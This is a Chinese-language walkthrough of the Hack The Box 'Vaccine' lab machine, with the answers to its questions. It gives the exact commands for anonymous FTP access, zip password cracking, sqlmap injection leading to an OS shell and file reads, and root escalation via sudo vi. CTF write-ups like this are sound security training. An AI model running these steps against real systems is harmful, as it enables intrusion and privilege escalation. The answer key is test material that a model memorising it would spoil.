自学内容网 自学内容网

Hack The Box-Starting Point系列Vaccine

一. 答案

  1. Besides SSH and HTTP, what other service is hosted on this box?(除了ssh和http,靶机还开启了哪个服务?)
    ftp
  2. This service can be configured to allow login with any password for specific username. What is that username? (该服务(FTP)可配置为允许特定用户使用任意密码登录。那么这个用户名是什么?)
    anonymous
  3. What is the name of the file downloaded over this service?(通过该服务下载的文件名称是什么?)
    backup.zip
  4. What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?(John The Ripper工具集附带的什么脚本能从受密码保护的压缩包中生成哈希值,其格式是否允许尝试破解?)
    zip2john
  5. What is the password for the admin user on the website?(网站管理员用户的密码是什么?)
    qwerty789
  6. What option can be passed to sqlmap to try to get command execution via the sql injection?(可以向 sqlmap 传递什么选项来尝试通过 sql 注入执行系统命令?)
    --os-shell
  7. What program can the postgres user run as root using sudo?(postgres 用户可以使用 sudo 以root用户身份运行什么程序?)
    vi

二.f**k your flag

  1. Nmap扫端口扫服务, nmap -sC -sV TargetIP, 一共扫描出三个端口,21的FTP,22的SSH,80的HTTP,通过HTTP的title可知首页是登录页面。
    在这里插入图片描述

  2. 首先我们看一下FTP相关的内容,测试一下是否支持匿名登录,ftp TargetIp, 然后输入 用户名为:anonymous,不填写密码直接回车,发现成功。
    在这里插入图片描述

  3. 查看一下都有什么文件,执行命令:ls,发现有个压缩包,通过文件名推断是备份文件。
    在这里插入图片描述

  4. 下载到本地查看一下,get backup.zip

  5. 解压一下,发现需要输入密码,通过预览发现有两个文件,是某网站的源码,推测是80端口的首页源码。下一步就是需要破解一下密码了。

在这里插入图片描述

  1. 使用fcrackzip破解一下密码,字典是rockyou.txt,输入命令:fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt backup.zip,如果没有该工具,请先安装。
    瞬间跑出了密码如下所示 741852963在这里插入图片描述

  2. 另一种方法就是使用zip2join这个工具进行破解,命令:zip2john backup.zip > z.txt 生成hash文件
    在这里插入图片描述

  3. 使用john工具进行破解密码:john z.txt
    在这里插入图片描述

  4. 然后再解压,打开解压后的index.php文件,文件内容如下图所示,主要的信息就是,登录用到了两个参数:usernamepassword,并且用户名是admin,密码的md5值为2cb42f8734ea607eefed3b70af13bbd3的时候会登录成功。很简单的一段代码。
    在这里插入图片描述

  5. 接下来访问80端口,尝试登录一下,根据源码我们需要先知道md5加密前的内容,使用在线解密工具尝试一下:
    https://www.sojson.com/,这个网站不行,但还是有很多好用的工具,建议收藏一下。
    https://www.somd5.com/这个网站可以解密,解密后的密码为qwerty789

  6. 那我们使用admin/qwerty789 进行登录
    在这里插入图片描述

  7. 点了半天发现只有Search功能可以使用,那么我们就操作一下

  8. 使用sqlmap测试一波是否有注入,执行命令:sqlmap -u "http://10.129.49.81/dashboard.php?search=sports" --cookie="PHPSESSID=t5fhtgo4i7vj3h0vkl6qop7693" --time-sec=15 , 对于这种有登录状态的,注入测试的时候不要忘记添加认证信息,添加--time-sec的原因是访问可能会超时,用来减少超时的可能。
    经过漫长的等待终于测出来了两种类型,布尔注入和错误注入,并且数据库为PostgreSQL
    在这里插入图片描述

  9. 接下来就利用一波,脱库没啥必要,我们的任务就是找flag

  10. 首先通过 --sql-shell参数获取一下数据库的信息,执行命令: sqlmap -u "http://10.129.49.81/dashboard.php?search=sports" --cookie="PHPSESSID=t5fhtgo4i7vj3h0vkl6qop7693" --time-sec=12 --sql-shell

  11. 获得SQL SHELL后获取数据库信息,输入:select setting from pg_settings where name='data_directory';
    在这里插入图片描述

  12. 查看数据库权限是否为root,输入命令: sqlmap -u "http://10.129.49.81/dashboard.php?search=sports" --cookie="PHPSESSID=t5fhtgo4i7vj3h0vkl6qop7693" --time-sec=12 --is-dba
    在这里插入图片描述

  13. 获取shell,输入sqlmap -u "http://10.129.49.81/dashboard.php?search=sports" --cookie="PHPSESSID=t5fhtgo4i7vj3h0vkl6qop7693" --time-sec=15 --os-shell
    在这里插入图片描述

  14. 查看了一下当前用户发现是 postgres,一个普通用户,如果要获得root的flag,下一步就是提权操作了,先获取一波普通用户的flag再说
    通过查看home目录下的文件夹发现有两个用户。
    在这里插入图片描述在这里插入图片描述通过cat命令无法获取到文件内容
    在这里插入图片描述

  15. 试了一下不能查看其他用户的文件内容,那我们接下来就看一下源码,找一下连接数据库的地方。关键文件(dashboard.php)就不让读取了,查看权限是有读取的,很奇怪,可能是Sqlmap的这个os-shell功能不完整。

  16. 换一种思路,直接使用sqlmap的命令进行读取文件的操作,从另一个新的命令行窗口执行:sqlmap -u "http://10.129.58.162/dashboard.php?search=Elixir" --cookie="PHPSESSID=a69dbiu5n7hl1m0i2vakn2rbqs" --time-sec=15 --file-read=/var/www/html/dashboard.php,同时要注意下图中的几个选项跟我一致。
    在这里插入图片描述

  17. 查看下载后的文件内容: cat /root/.local/share/sqlmap/output/10.129.58.162/files/_var_www_html_dashboard.php , 文件路径根据个人情况进行选择,IP地址记得更改一下,密码有的。。。
    在这里插入图片描述

  18. 使用 psql客户端连接提示访问被拒绝:psql --host 10.129.58.162 --username postgres
    在这里插入图片描述

  19. 试试ssh是否与此密码一致,发现成功登录
    在这里插入图片描述

  20. 先查找一下普通用户的flag,没毛病。下一步就是提权操作
    在这里插入图片描述

  21. 查看一下当前用户是否为root用户,运行命令: sudo -l

  22. 尝试ls一下root用户下的文件,说明这个postgres的权限是受限的,通过上一步显示的提示信息:User postgres may run the following commands on vaccine,可能是只能运行这个命令
    在这里插入图片描述

  23. 让我们使用vi打开文件,sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

  24. 在VI的末行模式下输入: :set shell=/bin/bash,然后回车。具体操作步骤是,使用vi打开文件后,然后按ESC键,然后输入 :set shell=/bin/bash后回车
    在这里插入图片描述

  25. 再操作一次输入 :shell,回车即可获得root用户,这里利用的是vim
    在这里插入图片描述

  26. root的flag就在/root目录下
    在这里插入图片描述在这里插入图片描述

三. 涉及到的新知识点

  1. frackzip工具:用于破解zip包密码的工具
  2. zip2john,用于导出ZIP类型文件的hash的工具,主要配合john使用。
  3. 查看当前用户是否为root用户的操作:https://www.cnblogs.com/wanghui-garcia/p/10535409.html
  4. Linux使用VI和GIT提权的操作:https://blog.csdn.net/weixin_51353029/article/details/119918210

原文地址:https://blog.csdn.net/HangingSword/article/details/145245022

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!